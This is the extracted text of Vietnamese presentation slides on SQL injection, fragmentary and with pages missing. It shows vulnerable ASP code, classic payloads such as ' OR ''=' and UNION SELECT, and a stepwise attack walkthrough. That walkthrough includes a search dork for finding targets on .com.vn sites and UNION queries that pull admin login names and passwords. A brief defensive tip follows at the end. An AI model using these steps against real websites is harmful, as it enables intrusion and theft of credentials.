SQL Injection là gì? SQL injection là một kĩ thuật tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu
Trang 2SQL Injection là gì?
SQL injection là một kĩ thuật tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở
dữ liệu để "tiêm vào" (injection) và thi hành các câu lệnh SQL bất hợp pháp.
Hậu quả của nó rất tai hại vì nó cho phép những kẻ
tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,
… do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy
Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
Trang 3Các dạng tấn công bằng SQL Injection
Có bốn dạng thông thường bao gồm:
Vượt qua kiểm tra lúc đăng nhập (authorization bypass)
Sử dụng câu lện SELECT
Sử dụng câu lệnh INSERT
Sử dụng các stored-procedures [2], [3]
Trang 4Dạng tấn công vượt qua kiểm tra đăng
nhập
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí
thông tin nhập từ phía người dùng Ví dụ:
Trang 6USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "
Trang 7 Người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang
login.htm là: ' OR ' ' = '
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả
các bản ghi của T_USERS và đoạn mã tiếp
theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ
Trang 11 <%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS
WHERE NEWS_ID =" & vNewsID
Set objRS =
Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= "
Set objRS = Nothing
%>
Trang 12 Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1
Trang 13 ' UNION SELECT ALL SELECT OtherField
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa
liệt kê được tên tất cả các bảng dữ liệu
Trang 15 Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
<% strSQL = "INSERT INTO TableName
VALUES(' " & strValueOne & " ', ' " _ &
strValueTwo & " ', ' " & strValueThree & " ') " Set
objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " … Set objRS =
Nothing %>
Trang 16Dạng tấn công sử dụng
stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ;
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau
cmd.exe
Trang 17Kỹ Thuật tấn công bằng sql injection
Bước 1: Tìm kiếm mục tiêu
Bước 2: Kiểm tra chỗ yếu của trang web
Bước 3: Nhận data qua ‘database using ODBC error message’
Bước 4: Xác định tên của các column trong
table
Bước 5: Thu thập các dữ liệu quan trọng
Bước 6: Xử lý kết quả tìm được
Trang 18Tìm kiếm mục tiêu
Bạn có thể dùng các bất kỳ một search-engine nào trên mạng như các trang login, search,
feedback…
Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn
Trang 19 Thực hiện câu lệnh search:
inurl:php?id= site:com.vn
Trang 20Đây là kết quả thu được.
Trang 21Kết Quả Tìm Được Của Nhóm
Trang 22Kiểm tra chỗ yếu của trang web
Bạn có thể điền thêm một số lệnh trên url,
hoặc trên các from login, search, hoặc search
để phát hiện lỗi
Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:
Trang 26Nhận data qua ‘database using
ODBC error message’
Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table Bạn
có thể khai thác như sau:
http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SHEMA.COLUMNS
WHERE
Trang 27TABLE_NAME=‘admin_login’ Out put:
Microsoft OLE DB Provider for ODBC
Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the
statement contains a UNION operator
/index.asp, line 5
Trang 28Thu thập các dữ liệu quan trọng
Chúng ta phải xác định được các tên của các table và column quan trọng
Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 login_name From
admin_login—
Trang 29 Bạn dễ dàng nhận ra được admin user đầu tiên
có login_name là ‘aaa’
Sau đó dung tên user tìm được để tìm
password:
http://vitcon/index.asp?id=10 UNION
SELECT TOP 1 password FROM
admin_login where login _name=‘aaa’—
Bây giờ bạn sẽ nhận được password của ‘aaa’
Trang 30Xử lý kết quả tìm được
Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
Để thay đổi password của ‘aaa’ bạn có thể làm như sau:
Trang 32 Loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người
dùng khi ứng dụng có lỗi
Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống
Trang 33DEMO